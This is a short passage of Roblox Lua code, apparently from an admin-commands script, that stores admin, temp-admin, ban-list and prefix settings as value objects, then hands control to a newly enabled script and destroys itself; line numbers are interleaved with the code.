for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
1670
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
1671
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
1672
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
1673
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
1674
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
1675
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
1676
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
1677
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
1678
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
1679
wait()
1680
newac.Parent = game.Workspace
1681
newac.Disabled = false
1682
script.Disabled = true
1683
script:Destroy()
1684
else
1685
CHEESE()
1686
end
1687
else
1688
CHEESE()
1689
end